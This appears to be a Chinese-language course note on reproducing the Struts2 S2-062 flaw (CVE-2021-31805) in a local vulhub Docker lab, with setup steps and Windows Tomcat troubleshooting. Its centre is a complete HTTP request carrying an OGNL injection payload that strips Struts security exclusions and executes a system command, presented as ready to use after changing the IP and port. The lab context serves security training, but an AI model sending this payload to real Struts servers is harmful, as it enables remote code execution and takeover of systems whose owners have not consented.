【汇总】CVE-2021-31805-struts2 s2-062漏洞复现失败

# vulhub环境搭建
G12-CentOS安装vulhub靶场
https://wiki.bafangwy.com/doc/641/

G14-kali安装vulhub
https://wiki.bafangwy.com/doc/642/

由于s2-062是对s2-061的绕过，所以直接使用s2-061的环境。
`cd struts/s2-061`

为了防止端口冲突可以修改目录下的`docker-compose.yml`
默认端口号是8080，修改左边的端口号即可
```
version: '2'
services:
 struts2:
   image: vulhub/struts2:2.5.25
   ports:
    - "18080:8080"
```
后台方式启动靶场：
`docker-compose up -d`

# HTTP Payload
修改IP地址、端口号，其他的不用动
```
POST /index.action HTTP/1.1
Host: 192.168.142.128:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1191

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
```

# Windows IDEA Java工程环境搭建
代码工程：strust2-s2-062.zip

B44-IDEA配置tomcat运行JavaWeb工程
https://wiki.bafangwy.com/doc/680/

有同学自己解压的Tomcat复现不成功：
使用这个tomcat，apache-tomcat-9.0.60-wuya
https://msb-netdisk.mashibing.com/share/248dba82109c4326b9334eb69e41d90d

对于windows，HTTP payload里面的`exec({'id'}`可以修改为`exec({'calc'}`。

# payload说明
注意：HTTP payload和 `s2-062.py` 这个脚本，里面测试的命令都是`id`，这个命令仅支持Linux。
所以，不管是HTTP payload脚本还是payload，都仅支持Linux操作系统。
对于Windows，得到`8*8=64`的结果，已经能证明漏洞存在了。

关联问题：
Tomcat问题：
https://www.mashibing.com/question/detail/100384

id命令不支持的问题：
https://www.mashibing.com/question/detail/100491